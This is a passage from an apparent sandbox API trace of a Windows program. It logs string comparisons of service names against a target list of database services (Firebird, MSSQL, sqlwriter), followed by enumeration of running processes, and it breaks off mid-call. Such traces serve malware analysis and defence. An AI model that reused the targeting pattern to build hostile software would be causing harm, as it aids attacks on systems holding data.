lpString2="iphlpsvc") returned -1 [0135.827] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0135.827] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0135.827] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0135.827] lstrlenW (lpString="KeyIso") returned 6 [0135.827] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0135.827] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0135.827] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0135.827] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0135.827] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0135.827] lstrlenW (lpString="LanmanServer") returned 12 [0135.827] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0135.827] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0135.827] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0135.827] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0135.827] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0135.827] lstrlenW (lpString="LanmanWorkstation") returned 17 [0135.827] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0135.827] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0135.827] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0135.827] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0135.827] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0135.827] lstrlenW (lpString="lfsvc") returned 5 [0135.827] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0135.827] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0135.828] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0135.828] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0135.828] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0135.828] lstrlenW (lpString="lmhosts") returned 7 [0135.828] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0135.828] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0135.828] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0135.828] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0135.828] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0135.828] lstrlenW (lpString="LSM") returned 3 [0135.828] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0135.828] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0135.828] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0135.828] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0135.828] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0135.828] lstrlenW (lpString="MapsBroker") returned 10 [0135.828] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1 [0135.828] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1 [0135.828] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1 [0135.828] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1 [0135.828] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1 [0135.828] lstrlenW (lpString="MpsSvc") returned 6 [0135.828] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0135.828] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0135.829] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0135.829] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0135.829] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0135.829] lstrlenW (lpString="NcbService") returned 10 [0135.829] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0135.829] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0135.829] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0135.829] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0135.829] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0135.829] lstrlenW (lpString="netprofm") returned 8 [0135.829] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0135.829] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0135.829] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0135.829] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0135.829] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0135.829] lstrlenW (lpString="NlaSvc") returned 6 [0135.829] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0135.829] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0135.829] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0135.829] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0135.829] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0135.829] lstrlenW (lpString="nsi") returned 3 [0135.829] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0135.829] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0135.829] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0135.829] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0135.829] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0135.829] lstrlenW (lpString="PcaSvc") returned 6 [0135.829] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0135.829] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0135.829] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0135.829] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0135.829] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0135.829] lstrlenW (lpString="PlugPlay") returned 8 [0135.829] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0135.830] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0135.830] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0135.830] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0135.830] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0135.830] lstrlenW (lpString="Power") returned 5 [0135.830] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0135.830] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0135.830] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0135.830] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0135.830] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0135.830] lstrlenW (lpString="ProfSvc") returned 7 [0135.830] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0135.830] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0135.830] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0135.830] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0135.830] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0135.830] lstrlenW (lpString="RpcEptMapper") returned 12 [0135.830] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0135.830] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0135.830] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0135.830] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0135.830] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0135.830] lstrlenW (lpString="RpcSs") returned 5 [0135.830] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0135.830] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0135.830] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0135.830] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0135.830] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0135.830] lstrlenW (lpString="SamSs") returned 5 [0135.830] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0135.830] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0135.830] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0135.830] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0135.830] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0135.830] lstrlenW (lpString="Schedule") returned 8 [0135.830] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0135.831] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0135.831] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0135.831] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0135.831] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0135.831] lstrlenW (lpString="SecurityHealthService") returned 21 [0135.831] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0135.831] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0135.831] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0135.831] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0135.831] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0135.831] lstrlenW (lpString="SENS") returned 4 [0135.831] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0135.831] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0135.831] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0135.831] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0135.831] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0135.831] lstrlenW (lpString="ShellHWDetection") returned 16 [0135.831] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0135.831] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0135.831] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0135.831] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0135.831] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0135.831] lstrlenW (lpString="Spooler") returned 7 [0135.831] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0135.831] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0135.831] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0135.831] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0135.831] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0135.831] lstrlenW (lpString="SSDPSRV") returned 7 [0135.831] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0135.831] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0135.831] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0135.831] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0135.831] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0135.831] lstrlenW (lpString="StateRepository") returned 15 [0135.832] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0135.832] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0135.832] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0135.832] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0135.832] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0135.832] lstrlenW (lpString="SysMain") returned 7 [0135.832] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0135.832] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0135.832] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0135.832] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0135.832] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x69bb60 | out: hHeap=0x5a0000) returned 1 [0135.832] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1014 [0135.838] Process32FirstW (in: hSnapshot=0x1014, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0135.839] Process32NextW (in: hSnapshot=0x1014, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0135.840] lstrlenW (lpString="System") returned 6 [0135.840] Process32NextW (in: hSnapshot=0x1014, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0135.841] lstrlenW (lpString="smss.exe") returned 8 [0135.841] Process32NextW (in: hSnapshot=0x1014, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0135.842] lstrlenW (lpString="csrss.exe") returned 9 [0135.842] Process32NextW (in: hSnapshot=0x1014, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0135.843] lstrlenW (lpString="wininit.exe") returned 11 [0135.843] Process32NextW (in: hSnapshot=0x1014, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0136.194] lstrlenW (lpString="csrss.exe") returned 9 [0136.195] Process32NextW (in: hSnapshot=0x1014, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0136.195] lstrlenW (lpString="winlogon.exe") returned 12 [0136.195] Process32NextW (in: hSnapshot=0x1014, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0136.196] lstrlenW (lpString="services.exe") returned 12 [0136.196] Process32NextW (in: hSnapshot=0x1014, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0136.197] lstrlenW (lpString="lsass.exe") returned 9 [0136.197] Process32NextW (in: hSnapshot=0x1014, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0136.197] lstrlenW (lpString="svchost.exe") returned 11 [0136.197] Process32NextW (in: hSnapshot=0x1014, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0136.198] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0136.198] Process32NextW (in: hSnapshot=0x1014, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0136.199] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0136.199] Process32NextW (in: hSnapshot=0x1014, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0136.199] lstrlenW (lpString="svchost.exe") returned 11 [0136.199] Process32NextW (in: hSnapshot=0x1014, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0136.200] lstrlenW (lpString="dwm.exe") returned 7 [0136.200] Process32NextW (in: hSnapshot=0x1014, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5d, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0136.201] lstrlenW (lpString="svchost.exe") returned 11 [0136.201] Process32NextW (in: hSnapshot=0x1014, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0136.202] lstrlenW (lpString="svchost.exe") returned 11 [0136.202] Process32NextW (in: hSnapshot=0x1014, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0136.203] lstrlenW (lpString="svchost.exe") returned 11 [0136.203] Process32NextW (in: hSnapshot=0x1014, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0136.204] lstrlenW (lpString="svchost.exe") returned 11 [0136.204] Process32NextW (in: hSnapshot=0x1014, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0136.205] lstrlenW (lpString="svchost.exe") returned 11 [0136.205] Process32NextW (in: hSnapshot=0x1014, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0136.206] lstrlenW (lpString="svchost.exe") returned 11 [0136.206] Process32NextW (in: hSnapshot=0x1014, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0136.207] lstrlenW (lpString="svchost.exe") returned 11 [0136.207] Process32NextW (in: hSnapshot=0x1014, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0136.208] lstrlenW (lpString="svchost.exe") returned 11 [0136.208] Process32NextW (in: hSnapshot=0x1014, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0136.209] lstrlenW (lpString="svchost.exe") returned 11 [0136.209] Process32NextW (in: hSnapshot=0x1014, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0136.210] lstrlenW (lpString="spoolsv.exe") returned 11 [0136.210] Process32NextW (in: hSnapshot=0x1014, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0136.211] lstrlenW (lpString="svchost.exe") returned 11 [0136.211] Process32NextW (in: hSnapshot=0x1014, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0136.212] lstrlenW (lpString="svchost.exe") returned 11 [0136.212] Process32NextW (in: hSnapshot=0x1014, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0136.213] lstrlenW (lpString="audiodg.exe") returned 11 [0136.213] Process32NextW (in: hSnapshot=0x1014, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0136.214] lstrlenW (lpString="sihost.exe") returned 10 [0136.214] Process32NextW (in: hSnapshot=0x1014, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0136.214] lstrlenW (lpString="svchost.exe") returned 11 [0136.214] Process32NextW (in: hSnapshot=0x1014, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0136.215] lstrlenW (lpString="taskhostw.exe") returned 13 [0136.215] Process32NextW (in: hSnapshot=0x1014, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0136.216] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0136.216] Process32NextW (in: hSnapshot=0x1014, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0136.217] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0136.217] Process32NextW (in: hSnapshot=0x1014, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0136.219] lstrlenW (lpString="explorer.exe") returned 12 [0136.219] Process32NextW (in: hSnapshot=0x1014, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0136.220] lstrlenW (lpString="Memory Compression") returned 18 [0136.220] Process32NextW (in: hSnapshot=0x1014, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0136.221] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0136.221] Process32NextW (in: hSnapshot=0x1014, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0136.222] lstrlenW (lpString="SearchUI.exe") returned 12 [0136.222] Process32NextW (in: 